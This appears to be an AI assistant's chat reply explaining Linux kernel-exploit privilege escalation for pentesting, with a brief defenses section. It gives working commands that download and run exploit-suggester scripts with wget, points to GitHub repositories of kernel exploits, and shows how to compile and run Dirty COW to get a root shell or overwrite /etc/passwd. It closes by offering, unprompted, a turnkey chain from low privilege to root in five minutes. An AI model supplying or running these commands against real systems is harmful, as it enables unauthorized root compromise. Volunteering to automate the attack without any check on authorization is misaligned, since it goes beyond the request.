Got it — you’re talking about **privilege escalation using kernel exploits** and using an **exploit suggestor** to guide which one to run from GitHub.

Here’s the **short, practical breakdown** for pentesting:

**1. What is Kernel Exploitation in PrivEsc?**

* If the target is running an **old or unpatched kernel**, known vulnerabilities can be exploited to get **root privileges**.
* Examples: Dirty COW (CVE-2016-5195), Dirty Pipe (CVE-2022-0847).

**2. Exploit Suggestor Method**

After compromising a low-priv shell:

1. **Check system/kernel info**
2. uname -a
3. cat /etc/\*release
4. **Run a kernel exploit suggestor**
   * **Linux Exploit Suggester 2**
   * wget https://raw.githubusercontent.com/jondonas/linux-exploit-suggester-2/master/linux-exploit-suggester-2.pl
   * perl linux-exploit-suggester-2.pl
   * **Linux PrivChecker**
   * wget https://raw.githubusercontent.com/sleventyeleven/linuxprivchecker/master/linuxprivchecker.py
   * python linuxprivchecker.py
   * These tools compare kernel version & OS info to known CVEs.

**3. Finding Exploits on GitHub**

Once you have the CVE:

* Search:
* site:github.com "CVE-YYYY-XXXX" exploit
* Or visit:
  + https://github.com/search?q=CVE-YYYY-XXXX
  + Check repositories like:
    - SecWiki/linux-kernel-exploits
    - stealthsploit/Linux-Kernel-Exploits
    - ExploitDB mirror repos.

**4. Running the Exploit**

Example: Dirty COW

gcc -pthread dirty.c -o dirty -lcrypt

./dirty

After execution, it typically spawns a root shell or overwrites /etc/passwd.

**5. Defenses**

* Keep kernels patched.
* Restrict compilation tools (gcc, make).
* Disable unneeded modules.
* Monitor CVE bulletins.

If you want, I can give you a **ready-to-use command chain** that:

* Checks kernel version
* Suggests exploits
* Downloads from GitHub
* Compiles & runs  
  …so you can go from **low priv → root** in under 5 minutes in a lab.

Do you want me to prepare that chain?